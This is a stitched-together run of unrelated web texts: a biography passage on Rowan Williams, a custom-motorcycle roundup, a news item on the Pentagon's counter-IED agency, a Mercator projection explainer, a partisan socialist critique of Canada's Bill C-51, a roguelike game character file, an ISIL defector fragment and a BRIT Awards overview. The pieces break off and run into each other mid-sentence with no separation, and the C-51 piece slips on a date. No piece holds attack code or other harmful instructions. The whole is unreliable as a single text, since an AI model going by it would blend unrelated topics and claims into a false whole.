On 9 February 2010, in an address to the General Synod of the Church of England, Williams warned that damaging infighting over the ordination of women as bishops and gay priests could lead to a permanent split in the Anglican Communion. He stressed that he did not "want nor relish" the prospect of division and called on the Church of England and Anglicans worldwide to step back from a "betrayal" of God's mission and to put the work of Christ before schism. But he conceded that, unless Anglicans could find a way to live with their differences over women as bishops and homosexual ordination, the church would change shape and become a multi-tier communion of different levels – a schism in all but name.[36]
Williams also said that "it may be that the covenant creates a situation in which there are different levels of relationship between those claiming the name of Anglican. I don’t at all want or relish this, but suspect that, without a major change of heart all round, it may be an unavoidable aspect of limiting the damage we are already doing to ourselves." In such a structure, some churches would be given full membership of the Anglican Communion, while others had a lower-level form of membership, with no more than observer status on some issues. Williams also used his keynote address to issue a profound apology for the way that he had spoken about "exemplary and sacrificial" gay Anglican priests in the past. "There are ways of speaking about the question that seem to ignore these human realities or to undervalue them," he said. "I have been criticised for doing just this, and I am profoundly sorry for the carelessness that could give such an impression."[36]
Current academic career [ edit ]
On 17 January 2013, Williams was admitted as the 35th Master of Magdalene College, Cambridge[37] and later that year, on 18 June 2013, the University of South Wales announced his appointment as its new chancellor.[38]
In 2015, it was reported that Williams had written a play called Shakeshafte, about a meeting between William Shakespeare and Edmund Campion, a Jesuit priest and martyr. Williams suspects that Shakespeare was Catholic, though not a regular churchgoer.[39] The play took to the stage in July 2016, and was received favourably.[40]
Patronage [ edit ]
Williams is patron of the Canterbury Open Centre run by Catching Lives, a local charity supporting the destitute.[41] He has also been patron of the Peace Mala Youth Project For World Peace since 2002, one of his last engagements as Archbishop of Wales being to lead the charity's launch ceremony.[42] In addition, he is president of WaveLength Charity, a UK-wide organisation which gives TVs and radios to isolated and vulnerable people; every Archbishop of Canterbury since the charity's inception in 1939 has actively participated in this role.
Williams is also patron of the T. S. Eliot Society[43] and delivered the annual T. S. Eliot Lecture in November 2013.
Williams was also patron of the Birmingham-based charity The Feast,[44] from 2010 until his retirement as Archbishop of Canterbury in December 2012. On 1 May 2013 he became chair of the board of trustees of Christian Aid.[45]
Together with Grey Ruthven, 2nd Earl of Gowrie and Sir Daniel Day-Lewis, Williams is a patron of the Wilfred Owen Association, formed in 1989 to commemorate the life and work of the renowned World War I poet Wilfred Owen.[46]
Theology [ edit ]
Williams, a scholar of the Church Fathers and a historian of Christian spirituality, wrote in 1983 that orthodoxy should be seen "as a tool rather than an end in itself..." It is not something which stands still. Thus "old styles come under increasing strain, new speech needs to be generated".[47] He sees orthodoxy as a number of "dialogues": a constant dialogue with Christ, crucified and risen; but also that of the community of faith with the world – "a risky enterprise", as he writes |
speaks to impulses and fears that we’ve had for a very long time.”
John Morillo, who teaches a course on dystopias at North Carolina State University, said dystopian fiction can offer readers a comforting reminder about the world today. “Now maybe it’s a sense that, well, it’s still not that bad,” he said. “They can close this book and say, ‘Now there’s hope for the future.’”A Honda CB750 rebuilt no less than three times, a stunning go-anywhere Yamaha MT-07, and a carbon fiber Gentleman’s Racer costing a cool €150,000. Meet the bikes that filled our fantasy garage this week.
Yamaha MT-07 by JvB-MOTO Earlier this week, photos surfaced of a Yamaha MT-07/FZ-07 based ADV bike that had people (myself included) quickly throwing currency at their computer screens. A go anywhere machine, powered by Yammie’s parallel twin? Yes please. And then I came across this, JvB-MOTO’s MT Super 7. I promptly recollected my cash and threw it right back at my Mac.
If you’re unfamiliar with Jens vom Brauck’s work we suggest you click here. Now that you’re back, we can tell you that this latest build can be had (and put together) by just about anyone with a set of spanners, some empty space and a MT-07/FZ-07 kicking around.
This scrambled MT Super 7 is an extension of JvB’s work with Yamaha’s Yard Built program, in that customers can go from stock to rockin’ with a few mouse clicks. Of course, this being the halo version of the build, the componentry is top shelf. An Öhlins shock has been fitted to the rear and an Arrow exhaust now handles the soundtrack. With a curb weight of 165 kg and just around 68 Nm of torque rolling through sticky TKC-80s, the Super 7 may actually be the ideal urban adventure bike. [More]
Honda CB750 by Andrew Wales The alphanumeric designation given to this 1978 Honda CB750 cafe racer—“I4HV3.0”—isn’t exactly the most romantic of monikers. Especially when you learn about the trials and tribulations that Calgary’s Andrew Wales went through.
Inline 4 Honda Version 3.0 is Andrew’s third iteration of this 38-year-old CB750. Originally purchased with full touring regalia, the first fettering involved some plastidip paint and a new seat and set of bars. Soon after though, the custom builds found on these digital pages and Instagram beckoned Andrew back to work. Version 2 was put together with the revised monoshock rear, using a Ducati 749 unit, and the front suspension was swapped for a Gixxer 1000. The rear hoop was crafted and the custom swingarm was Tig’d together over lunch breaks.
Andrew was just about finished with his project when he and his bike were sideswiped. While he was rehabbing, he began rebuilding too. This time the Honda would get a new tank, seat, fender and hand crafted tail, which combine to make this CB truly stand out. Andrew may only consider himself a ‘motorcycle modifier’ but we’d stay his gumption and vision earn him builder status. [More]
VanderHeide Gentleman’s Racer The swooping lines of bespoke carbon fiber have a distinct Pininfarina vibe, and the engine hanging from a handcrafted chassis is the fire breather from an Aprilia RSV4. But despite the Italian vibe, this incredible coachbuilt bike doesn’t hail from Europe’s ‘boot’: It comes from its hat, the Netherlands.
The product of a Dutch engineer/designer with past stints at Spyker and Carver, the Gentlemen’s Racer is the realization of Rolf van der Heide’s life long dream. To that end everything, save the motor and componentry, is completely custom. The monocoque chassis, swingarm and double-wishbone front suspension are all made in-house using carbon fiber—as are the leather seat and grips. Öhlins was tapped to handle all damping duties, which are both inline units, to reduce stresses on the monocoque chassis.
The Gentlemen’s Racer tips the scales at a scant 175 kg and packs a healthy 210 horsepower in standard guise. If your checkbook and bravery permit, there’s a 165 kg, 230 hp version in full race trim. Dreams become reality at €150,000. [More]
1974 Yamaha RD250 by Trevor Scales Inspired by tales of his father’s days tearing around the track on his ported RD350, Texan Trevor Scales has created this lovely little, 1974 250cc homage. With a background in high-performance engine building and hot-rod fabrication, you can rest assured the mechanicals are in check—but it’s the bodywork that caught our eye.
It took the help of a friend to search them out, but the 1969 Benelli tank, fairing and tail were quickly dispatched from Italy and Trevor set about his work. Moving to an off-site garage and wrenching after 9-5 duties were sorted, roughly 400 hours went into the RD’s transformation. Fairing mounts were fabricated and the bodywork was fitted.
From there, Trevor flexed his mechanical muscles by sorting out a new mono-shock rear suspension set-up that added some extra apex-hunting abilities. To power out of the bends, Trevor has trimmed the RD’s pistons, shaved its head and enlisted a full race port. 32mm Mikunis gulp and blend while a custom 2-into-2 exhaust makes every bee in those cans sound incredibly pissed. [More]
Triumph Street Triple by Hanse Qustom A quick perusal of the back catalog of Hamburg’s Hanse Qustom reveals a team of dedicated craftsman. Led by Andreas Mecke, they’re perfection seekers in the truest form, with some inspiring dealer-backed builds.
One of their most recent projects, this Cafe’d Street Triple, is an excellent example. The changes, although subtle in appearance, are substantial in detail. Working with a 2015 model, the chunky rear subframe fitted at Hinckley has been swapped for a slimmer, lighter affair with a flattened profile to deliver the requisite stance. The seat and tail unit hide the slimline battery and electronics. Moving forward, some trickery with paint gives the tank a floating appearance that sheds weight more effectively than the factory effort, and draws the eye to the Hanse signature cowl.
The design philosophy behind the team is to build bikes that people will ‘drool over’—and they’ve stayed true to that yet again. [More]A defense bill expected to be approved by the Senate Tuesday would eliminate the Pentagon office in charge of stopping roadside bombs that have been the No. 1 killer of U.S. troops in Iraq and Afghanistan.
A little-noticed provision in the 2016 National Defense Authorization Act would take away the Joint Improvised-Threat Defeat Agency’s (JIDA) independent status and subsume the office into an existing Pentagon agency — which critics say would essentially kill its work in coping with improvised explosive devices (IEDs).
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If a plan to transition the JIDA under an existing agency is not submitted nine months after the bill is passed, funds will be withheld, except for those directly supporting war activities.
The JIDA was set up in 2006 to coordinate the Pentagon’s fight against IEDs, from research and development to the acquisition of equipment to fielding that equipment in the battlefield.
While IEDs are no longer considered the threat they once were during the Iraq and Afghanistan wars, they are being employed daily against U.S.-backed forces fighting the Islamic State in Iraq and Syria (ISIS).
Indeed, IEDs are still used against U.S. troops and personnel in Afghanistan, and risks remain for the roughly 3,500 U.S. service members in Iraq and several dozen troops in Syria.
Given that, critics have been left scratching their heads over the move to incorporate the agency.
“It makes no sense, it makes no sense at this moment,” wrote Daniel Gouré of the Lexington Institute, a nonprofit public-policy research organization. “We’re going back into the same place, against some of the same people. It’s nuts.”
A U.S. military commander who recently returned from Iraq said ISIS’s use of vehicle-borne IEDs has “become more significant.”
“Daesh uses that similarly to how we use strikes,” said Army Col. Curtis Buzzard, using an alternative name for ISIS.
“That’s kind of their version of a strike,” Buzzard, the commander of the 3rd Brigade Combat Team of the 82nd Airborne Division, added of the terror groups use of IEDs during a Pentagon briefing last week.
The bill’s aim, according to its language, is to “create reduced overhead management costs while maintaining institutional core knowledge for counter defeat and detection capabilities for IEDs and other improvised threats.”
Money for JIDA’s activities would be transitioned to a “successor” fund, and its intelligence arm would also be transitioned to an existing military department or defense agency.
The agency’s research, development and acquisition activities would also be moved to an existing military department or defense agency. It’s not clear whether these functions would all survive or go to the same department or agency. It’s also not clear what will happen to the agency’s 400 government and civilian staff.
JIDA’s supporters argue that all of its parts work together as a network. The move risks breaking up the agency into parts that won’t be as effective.
“There’s no question it will kill it,” Gouré said. “Once you bury it in a larger organization, it immediately becomes a small part of something big, but different — not the same.”
The agency was built up for the wars in Iraq and Afghanistan. The legislation would seek to prevent the establishment of the agency on a permanent basis.
Funding has declined for JIDA. It once had $3.9 billion in annual funding, but the new bill would provide $432 million. The administration requested $492 million.Ad:
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In GIS and other mapping it is important to choose an appropriate map projection to accurately depict the Earth’s surface. A map projection is defined as a tool that transforms the Earth’s surface into a flat plane that can be shown on paper and/or digital maps. Map projections are based on an arrangement of parallels and meridians that represent a geographic coordinate system (Chang, 2012).
Map projections used by cartographers are grouped into two major categories – those that preserve a specific property and those that use a specific type of projection surface. There are four classes of projection types that preserves a property. They are the conformal, equivalent, equidistant and azimuthal projections. A conformal projection is one that preserves an area’s local angles and shapes, while an equivalent projection shows areas in proportional size (Chang, 2012). An equidistant projection is based on a consistent scale along specific lines and an azimuthal projection maintains accurate directions (Chang, 2012).
In addition, there are three projection types that are based on different surfaces to represent the world. These are the cylindrical, conic and azimuthal projections. A cylindrical projection is when a cylinder is used to construct a projection, a cone for the conic and a flat plane for the azimuthal. In each of these cases the specific shape is essentially wrapped around a globe and the image of the world is then projected onto the shape.
These different map projections are broad categories and within them there is a variety of different projection types that can show local areas or the entire world. One of the most common and controversial types of map projection within these categories is the Mercator projection. This projection is cylindrical and conformal. It was originally used for navigation purposes but later became a staple in classrooms to teach world geography. It is controversial today because it does not accurately depict the size of the Earth’s northern and southern latitudes.
History and Development of the Mercator Projection
The Mercator projection was originally developed in 1569 by the Flemish cartographer Gerardus Mercator. At this time, many of Europe’s top cartographers and explorers used elliptical projections derived from Ptolemy’s latitude and longitude grid. Although accurate, these projections were difficult for navigators and explorers to use because they required that bearing constantly be recalculated as they moved (Stockton, 2013).
Maps created prior to Mercator’s that were drawn on Ptolemy’s grid showed that each degree of latitude or longitude was the same size. As a result sailor’s rhumb lines (straight lines on the Earth used by navigators that follow a single compass bearing) curved and navigators would have to recalculate their bearing as they moved to account for the change (Israel, 2003). Mercator found that to keep the rhumb lines straight he had to make lines of latitude move away from each other as they moved north and south of the equator. In order to do this, he created a projection that preserved the 90° angles between the latitude and longitude lines.
How the Mercator Projection Works
Many discussions of how the Mercator projection works say to imagine a cylinder with a globe inside (Stockton, 2013). The globe should have a light inside so that an image of the world is projected onto the cylinder. Because the cylinder only touches the globe at the equator points along that parallel are the only ones on the projection that are completely accurate. Additionally, because the cylinder is perpendicular to the globe, lines of longitude are straight, instead of curved as on a globe when they are transferred to the cylinder. This results in straight lines of latitude and longitude with consistent, 90° angles between them around the world.
Because of the preserved 90° angles and straight lines of latitude and longitude, rhumb lines are also straight on the Mercator projection. This meant that sailors using maps in that projection no longer had to recalculate their bearings on long journeys. Instead they could mark their starting and ending points and simply follow the line along their expeditions. Due to this, the Mercator projection made world exploration much easier and became a essential map projection for navigation.
Using a cylinder and a globe with light is a simplified explanation as to how the Mercator projection works. In reality it is very complicated to derive the projection and it takes complex mathematical formulas to fully explain it (Israel, 2003). In 1599, Edward Wright, an English mathematician, first explained the very complicated mathematics of the Mercator projection and throughout the 1600s several other mathematicians attempted to find easier explanations. Today, most basic explanations as to how the Mercator projection work use the cylinder and a globe with light description.
Criticisms of the Mercator Projection
To keep longitude lines straight and maintain the 90° angle between the latitude and longitude lines, the Mercator projection uses varying distances between latitude lines away from the equator. As a result, the Earth’s poles and landmasses closest to them are distorted. This distortion stretches landmasses like Greenland and Europe and they appear much bigger than places that are close to the equator such as South America and Africa. Despite these errors the popularity of the projection as a navigation aid and its easily readable rectangular grid meant that it was easy to reproduce in printed materials like atlases and wall maps. As a result, it became a standard map for classrooms.
Throughout the 1900s geographers and scholars have claimed that the Mercator projection is incorrect and that it should only be used for navigation. It was not until the 1980s though that the projection began to receive wide criticism. In 1989 for instance, seven professional geographic organizations in North America adopted a ban on this and other rectangular coordinate maps (Rosenberg).
Most of the main criticisms of the Mercator projection are that it gives people a false impression of the size of the world’s landmasses. Greenland, for instance is not bigger than South America, but it appears to be on Mercator maps. Other critics say that this projection and the large size of continents like Europe gave an advantage to the colonial powers because it made them appear larger than they really are. This advantage eventually led to the lack of development in many equatorial regions that appear smaller on the Mercator maps.
Despite these criticisms, there is use for the Mercator projection in sailing and world exploration because it does allow for easier navigation. In addition, it is an interesting example of how a map projections can make areas of the world appear in certain ways.
References
Chang, Kang-tsung. (2012). Introduction to Geographic Information Systems. McGraw-Hill: New York, 6th Edition.
Encyclopedia Britannica. (n.d.). Mercator Projection (Cartography) – Encyclopedia Britannica. Retrieved from: http://www.britannica.com/EBchecked/topic/375638/Mercator-projection (30 December 2013).
Israel, Robert. (20 January 2003). “Mercator’s Projection.” University of British Columbia Mathematics Department. Retrieved from: http://www.math.ubc.ca/~israel/m103/mercator/mercator.html (30 December 2013).
Lammie, Rob. (15 August 2008). “3 Controversial Maps.” Mental Floss. Retrieved from: http://mentalfloss.com/article/19364/3-controversial-maps (30 December 2013).
Rosenberg, Matt. (n.d.). “Peters Projection vs. Mercator Projection.” About.com Geography. Retrieved from: http://geography.about.com/library/weekly/aa030201b.htm (30 December 2013).
Stockton, Nick. (29 July 2013). “Get to Know a Projection: Mercator.” Wired Magazine. Retrieved from: http://www.wired.com/wiredscience/2013/07/projection-mercator/ (30 December 2013).Canada’s Bill C-51: A sweeping assault on democratic rights and legal principles—Part 1
By Roger Jordan and Keith Jones
6 March 2015
Bill C-51, Canada’s ostensible new anti-terror legislation, contains provisions that attack a vast array of key democratic and constitutionally protected rights.
More than 600 pages long, it would amend numerous existing laws to give the state and its national-security apparatus vast new powers. Under a new “disruption power,” Canada’s premier intelligence agency, the Canadian Security Intelligence Service, or CSIS, is to be empowered to carry out a vast array of illegal acts, with any person or group deemed a threat or potential threat to “national security” a possible target. Other measures would expand the state’s power to make “preventive arrests”—i.e., hold persons without charge; create a nebulous new category of prohibited political speech; and effectively remove all limits on the state’s sharing of personal information in security investigations. And there is more, much more.
The legislation’s scope gives the lie to the claim of Stephen Harper and his Conservative government that the bill is an anti-terrorism law. Combating terrorism is merely the pretext to justify the adoption of repressive measures directed against the entire population and especially the threat of mass working class opposition to the Canadian elite’s agenda of imperialist war and austerity.
Bill C-51 builds on the already expansive anti-terrorism provisions of the 2001 Anti-Terrorism Act. Rushed through parliament in the immediate aftermath of the 9/11 attacks by the Chretien Liberal government, the 2001 Anti-Terrorism Act created a new category of political crimes—based on a definition of terrorism so broad that it could be invoked against a political general strike or mass social unrest—subject to special rules and harsher sentences. The 2011 law overturned long-standing democratic juridical principles, allowing the state in “exceptional” circumstances to make “preventive” arrests and set aside the right of silence.
The Conservatives are seeking to railroad Bill C-51 into law, restricting debate at every stage of the parliamentary process. Though the trade union-based New Democratic Party (NDP) has made a point of declaring its opposition to the law, it has failed to expose its fundamental anti-democratic character. The NDP, as epitomized by party leader Thomas Mulcair’s announcement that an NDP government would amend not rescind the Harper government’s legislation, accepts its bona fides as an anti-terrorism measure, and has made the lack of parliamentary oversight of the intelligence agencies virtually the exclusive focus of its opposition to Bill C-51.
Even this has proven too much for Stephen Harper and his Conservatives. They have denounced the NDP’s comments as “extremist” and “conspiracy theories,” and the Liberals have echoed the Conservative line, with party leader Justin Trudeau attacking the NDP for “not once in its history” supporting “strengthening anti-terror measures in this country.”
The extent of the assault on democratic rights and legal norms that Bill C-51 represents is thus largely being concealed from the public.
Several legal experts have produced detailed analyses of the bill’s content that do contain valuable explanations of how its provisions threaten core democratic rights. Though they are by no means opponents of the Canadian state or even the further expansion of its coercive powers, Craig Forcese and Kent Roach, law professors, respectively, at the University of Ottawa and University of Toronto, have published a series of briefing papers criticizing various aspects of Bill C-51. The Canadian Centre for Policy Alternatives (CCPA), a liberal-social democratic think tank, has released its own overview of the anti-terrorism bill, authored by well-known civil rights lawyer Clayton Ruby and criminal and constitutional lawyer Nader Hasan.
CSIS’s new “disruption” power
The expansion of the Canadian Security and Intelligence Service’s (CSIS) powers is one of Bill C-51’s most ominous features. In addition to its already vast mandate to spy on reputed opponents of the Canadian government and state, CSIS is now to be empowered to disrupt “threats to the security of Canada” and to violate both the Canadian constitution’s Charter of Rights and Freedom and the Criminal Code in so doing.
CSIS’s new “disruption” power applies, as do many of the new or enhanced powers, in Bill C-51 to a new, unprecedentedly expansive definition of “national security,” of which terrorism is only a small subset. It includes threats to Canada’s economic stability” or critical infrastructure and “territorial sovereignty,” as well as espionage or anything that could endanger Canada’s diplomatic interests or challenge its constitutional order.
Bill C-51 provides for only three limitations on the illegal actions CSIS can carry out: they must not kill someone or cause them bodily harm, intentionally or due to criminal negligence; their “disruptions” must not willfully pervert the course of justice; and they must not violate someone’s “sexual integrity.”
Other than that, CSIS is being given carte blanche to do what it likes. “Disrupting” groups and individuals could include seizing or confiscating documents or property, tampering with bank accounts, pressuring employers to discipline or fire individuals, conducting vandalism or urging venues to cancel meetings or public events. It opens virtually unlimited possibilities for CSIS to carry out dirty tricks operations and provocations aimed at dividing and bringing public discredit on government opponents.
In an effort to downplay the risks in handing over such powers to CSIS, the government has sought to claim that they would never be deployed against “lawful” dissent or advocacy and artistic expression. But as the World Socialist Web Site has already noted in previous articles, the state has increasingly sought to criminalize political opposition through anti-worker laws, court injunctions and police repression. The volley of laws illegalizing strikes, the police attack on the 2010 G-20 protests, and the police violence and legislation (Bill 78) employed against the 2012 Quebec student strike all demonstrate just how narrow is the scope of “lawful dissent” in Canada.
Under Bill C-51, CSIS would be empowered to use its “disruption” power against workers who strike in defiance of an anti-strike law or court injunction, environmental groups blocking highways or protesting against pipeline construction, student sit-ins, and other forms of civil disobedience. Moreover, CSIS would be free to disrupt those it believed “may” potentially engage in such “unlawful” activity at a future time.
In justifying its illegalization of Canada Post, railway, and other strikes, the Conservative government has repeatedly denounced them as threats to Canada’s “economic stability.” This same formulation is now included in Bill C-51’s expansive definition of threats to the country’s “national” security, underscoring that this legislation has been drafted very much with a view to preparing the state’s response to working class opposition.
Bill C-51 offers virtually no mechanism to monitor, let alone restrain CSIS’s use of its “disruption” powers. The requirement that CSIS obtain a warrant from a judge—that is from a government appointee sworn to the defence of the Canadian capitalist state—in a secret proceeding is more an open door than a hurdle.
Under Bill C-51, the judiciary is instructed to grant CSIS “disruption” warrants if there are reasonable grounds to believe that CSIS will be able “to reduce a threat to the security of Canada” and the measures it proposes are reasonable and commensurate with the threat.
In their review of Bill C-51 for CCPA, Ruby and Hasan correctly warn that such a determination is entirely subjective. Unlike a request for a search warrant, it cannot be determined on the basis of an objective review of evidence: “It amounts to asking judges to look into a crystal ball to determine if Canada will be safer in the future if a CSIS officer takes some measure.” Ultimately, warn Ruby and Hasan, the most likely outcome is that the intelligence agencies will be permitted to act as they see fit given that they are deemed to be the security “experts.”
Furthermore, the decision of whether to even apply for a warrant is left up to CSIS itself, meaning that they will be determining if a proposed action breaks the law. As is well known, Canada’s intelligence agencies, with the government’s support, have repeatedly sought to arrogate new powers—as in the Communication Security Establishment’s assertion that it has the right to systematically spy on the metadata of Canadians’ electronic communications.
Should CSIS deem it necessary to get judicial authorization, the system being proposed by the government for obtaining a warrant would take place behind closed doors, without the individual or group being targeted having an opportunity to defend themselves. As Forcese and Roach observe in their second background paper on Bill C-51, “all these weighty legal deliberations will be done in secret, with only the judge and the government side represented. The person affected by the illegal activity will not be there, in fact they will likely never know who visited the misfortune on them. They cannot defend their rights. No civil rights group will be able to weigh in.”
And the decisions once reached will, by law, remain secret on national security grounds, with at most in exceptional circumstances vetted summaries issued years after the fact. As Forcese and Roach go on to warn, “We risk a secret jurisprudence on when CSIS can act beyond the law.”
As these authors observe, these vast powers are being handed to an organization that has repeatedly displayed “a failure to be candid” in court proceedings. Indeed, CSIS lied to the courts over a period of several years in hearings where warrant applications were made to enable CSIS to collaborate with the Communication Security Establishment (CSE) and its partners within the US-led “Five Eyes” to intercept the electronic communications of Canadian terrorism suspects who had traveled abroad.
So “incredibly expansive” are the disruption powers CSIS would be granted under Bill C-51 and so minimal the restraints on the illegal activities they could engage in, Ruby and Hasan contend that Canada’s secret police could “legally” engage in torture, “including water boarding, inflicting pain, torture or causing psychological harm to an individual.”
The second and concluding part of this article will be published on March 7, 2015.
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rawdownloadcloneembedreportprint text 20.86 KB Dungeon Crawl Stone Soup version 0.21-a0-636-g589fbc3 (webtiles) character file. Jernau the Grappler (Troll Monk) Turns: 22891, Time: 02:42:25 Health: 146/146 AC: 12 Str: 26 XL: 14 Next: 98% Magic: 17/17 EV: 15 Int: 6 God: Uskayaw [*.....] Gold: 826 SH: 15 Dex: 12 Spells: 13/13 levels left rFire... SeeInvis. - Unarmed rCold... Gourm + Z - +2 shield rNeg +.. Faith. M - +2 robe {rN+} rPois + Spirit. w - +2 hat rElec. Reflect + r - +0 cloak {rPois} rCorr + Harm. (gloves unavailable) MR +.... (boots unavailable) Stlth +++....... u - +2 amulet of reflection HPRegen 0.74/turn P - +2 ring of strength MPRegen 0.15/turn c - ring of resist corrosion @: no status effects A: large, unfitting armour, claws 3, slimy green scales 1, fast metabolism 3, gourmand, regeneration 1, shaggy fur 1, tough skin 2, weak 1 a: Stomp, Renounce Religion You are on level 5 of the Lair of Beasts. You worship Uskayaw. Uskayaw is noncommittal. You are very full. You have visited 4 branches of the dungeon, and seen 20 of its levels. You have also visited: Labyrinth and Sewer. You have collected 1695 gold pieces. You have spent 869 gold pieces at shops. Inventory: Hand Weapons b - a +0 blowgun B - a +0 falchion of flaming K - a +0 dagger of venom Missiles j - 64 poisoned needles D - 412 stones L - 2 tomahawks of returning Q - a poisoned tomahawk S - a throwing net T - 12 tomahawks of dispersal U - a poisoned javelin (quivered) W - 2 needles of confusion X - 7 curare-tipped needles Armour p - a scarf of resistance r - a +0 cloak of poison resistance (worn) w - a +2 hat (worn) M - a +2 robe of positive energy (worn) Z - a +2 shield (worn) Jewellery c - a ring of resist corrosion (right claw) i - an uncursed ring of fire t - an uncursed ring of teleportation u - a +2 amulet of reflection (around neck) J - an uncursed ring of fire P - a +2 ring of strength (left claw) V - a +4 ring of dexterity Wands a - a wand of disintegration (10) n - a wand of iceblast (4) o - a wand of random effects (72) z - a wand of digging (2) A - a wand of acid (12) E - a wand of flame (32) F - a wand of polymorph (44) Scrolls d - a scroll of fog h - 3 scrolls of teleportation k - 10 scrolls of remove curse s - 2 scrolls of identify v - a scroll of fear y - 3 scrolls of summoning C - a scroll labeled LAS XYNNILYAHA G - a scroll of enchant armour Potions e - 2 potions of flight g - a potion of haste l - 3 potions of curing m - a potion of invisibility q - 2 potions of agility x - 2 potions of cancellation H - 3 potions of might O - a fizzy amethyst potion R - a potion of heal wounds Miscellaneous I - a sack of spiders N - a lamp of fire Comestibles f - 32 rations Skills: + Level 11.1 Fighting - Level 0.4 Long Blades - Level 5.0 Throwing - Level 10.6 Dodging - Level 5.0 Stealth * Level 7.6 Shields + Level 13.8 Unarmed Combat - Level 6.4 Invocations - Level 2.2 Evocations You have 13 spell levels left. You don't know any spells. Dungeon Overview and Level Annotations Branches: Dungeon (11/15) Temple (1/1) D:5 Lair (6/6) D:10 Shoals (0/4) Lair:2 Spider (0/4) Lair:3 Slime (0/5) Lair:6 Orc (2/2) D:11 Elf (0/3) Orc:2 Altars: Gozag Nemelex Xobeh Uskayaw Jiyva Shops: D:9 : Orc:2!}!( Portals: Pandemonium: Orc:2 Annotations: D:10 exclusion: ice statue Innate Abilities, Weirdness & Mutations You are too large for most types of armour. You have claws for hands. Your metabolism is lightning-fast. You like to eat raw meat. Your natural rate of healing is unusually fast. You are covered in fur. (AC +1) You have very tough skin. (AC +2) You are partially covered in slimy green scales. (AC +2) You are weak. (Str -2) Message History a short sword of draining; a robe Things that are here: a short sword; a robe Done exploring. Done exploring. There is a stone staircase leading up here. A spriggan rider comes into view. It is wielding a spear. No target in view! No target in view! There is a stone staircase leading up here. You climb upwards. There is a stone staircase leading down here. (D) Dungeon (T) Temple (L) Lair (A) Shoals (N) Spider Nest (M) Slime Pits (O) Orcish Mines (E) Elven Halls Where to? (Enter - Lair:6 @ (x,y),? - help) Okay, then. Unknown command. Unknown command. Unknown command. Unknown command. ###### #.##.## ## #..##.######### ### ##. # #.......##.##.# #.#####.. # #.####........#####...#.PP. # ##.###.......P#..##.....P.. ###### ##.##.......+...##.....#...#...# #.###...>....P...#............####†# ##...@.!.P.......#%.)P PP..# #..####.......##........... 'P.## ##...##..>....####......... #### ##...###.......# ##........ P# #.....##.......# ##..#.....# #.....###..#'#.# #..##### ## #.....# ####..## #..# ##...## ##...## #..# ## ########...## ##.## There are no monsters in sight! Vanquished Creatures Rupert (Lair:6) A minotaur (Lab) 5 hydras A catoblepas (Lair:3) Harold (Orc:1) 5 two-headed ogres The ghost of Evablue the Cleaver, a novice FoBe of Trog (D:10) 7 orc high priests (Orc:2) A sun demon (Orc:2) The ghost of tempest the Slicer, a novice GnWn of Zin (D:8) A gelid demonspawn (Orc:2) An unseen horror (D:10) Pikel (D:9) 6 orc knights 5 orc sorcerers A necromancer (D:10) An ugly thing (D:11) 24 elephants 2 manticores (D:11) 7 black mambas Maurice (D:8) 2 smoke demons (Orc:2) A gargoyle (Lab) 13 spiny frogs 2 centaur skeletons 3 rime drakes 5 komodo dragons An ice devil (Orc:2) A red devil (Orc:2) 2 trolls 2 hornets (Lair:6) 7 polar bears Prince Ribbit (D:7) The ghost of xtyrian the Chiller, an amateur DrIE (D:4) 13 hippogriffs 5 dream sheep 13 spriggans (Lair:6) 36 yaks Sigmund (D:2) A wyvern (Lair:4) A wraith (D:11) 7 basilisks Grum (D:9) 3 hungry ghosts A warg (Orc:2) 12 water moccasins 21 orc warriors 10 porcupines 3 slaves (D:9) 6 ice beasts 3 black bears A hornet zombie (D:11) 4 phantoms 7 ogres 20 wolves 4 boggarts (Lair:6) 3 centaurs 11 crocodiles 8 big kobolds A gnoll sergeant (D:11) An earth elemental (Lab) 11 bullfrogs A wyvern zombie (D:10) 5 scorpions 3 killer bees (D:10) A howler monkey (D:4) 4 crimson imps A quasit (D:11) 7 hounds 3 bullfrog skeletons 2 jellies 3 bullfrog zombies 24 orc priests 17 orc wizards 3 iguanas 3 yak simulacra (D:10) 2 wolf simulacra (D:10) 9 worker ants 4 polar bear simulacra (D:10) A hound skeleton (D:9) Robin (D:3) A worker ant zombie (D:5) 22 adders 12 gnolls A howler monkey skeleton (D:5) 9 river rats 7 shadow imps 3 worms 3 dart slugs 4 leopard geckos 67 orcs 5 ball pythons 7 giant cockroaches 13 goblins 13 hobgoblins 8 jackals 13 kobolds 4 quokkas 5 bats 3 frilled lizards A leopard gecko skeleton (D:5) 24 rats 2 river rat simulacra (D:10) 644 creatures vanquished. Vanquished Creatures (others) An ogre (D:9) A goblin (D:3) 18 fungi 7 plants (Lair:6) 27 creatures vanquished. Grand Total: 671 creatures vanquished Notes Turn | Place | Note -------+----------+------------------------------------------- 0 | D:1 | Jernau the Troll Monk |
months manning ISIL checkpoints until, one day in October, he was told to join a unit attacking a nearby Shiite village.
The attack lasted from morning to evening, with the militant group eventually beaten back.
The failure shattered his belief in ISIL’s military prowess, and caused him to reassess his situation.
He left his village for Kurdish-controlled Kirkuk, believing the city would be a safer option than ISIL territory.
“I left with my family because our opponents were stronger,” he said, before being led away by the Asayesh.
foreign.desk@thenational.aeBritish pop music awards
The BRIT Awards (often simply called The BRITs) are the British Phonographic Industry's annual popular music awards. The name was originally a shortened form of "British", "Britain", or "Britannia" (in the early days the awards were sponsored by Britannia Music Club), but subsequently became a backronym for British Record Industry Trusts Show.[1] In addition, an equivalent awards ceremony for classical music, called the Classic BRIT Awards, is held in the month of May. Robbie Williams holds the record for the most BRIT Awards, 13 as a solo artist and another five as part of Take That.
The awards were first held in 1977 and originated as an annual event in 1982 under the auspices of the British record industry's trade association, the BPI. In 1989, they were renamed The BRIT Awards.[2] MasterCard has been the long-term sponsor of the event.[3] The highest profile music awards ceremony in the UK, The BRIT Awards have featured some of the most notable events in British popular culture, such as the final public appearance of Freddie Mercury, the Jarvis Cocker protest against Michael Jackson, and the Union Jack dress worn by Geri Halliwell of the Spice Girls.
The BRIT Awards were broadcast live until 1989, when Samantha Fox and Mick Fleetwood hosted a widely criticised show in which little went as rehearsed.[4] From 1990 to 2006, the event was recorded and broadcast the following night. From 2007, The BRIT Awards reverted to a live broadcast on British television, on 14 February on ITV.[4] That year, comedian Russell Brand was the host and three awards were dropped from the ceremony: Best British Rock Act, Best British Urban Act and Best Pop Act.[4] For the last time, on 16 February 2010, the venue for The BRITs was the Earls Court Exhibition Centre in London. The BRIT Awards were held at The O2 Arena in London for the first time in 2011.[5]
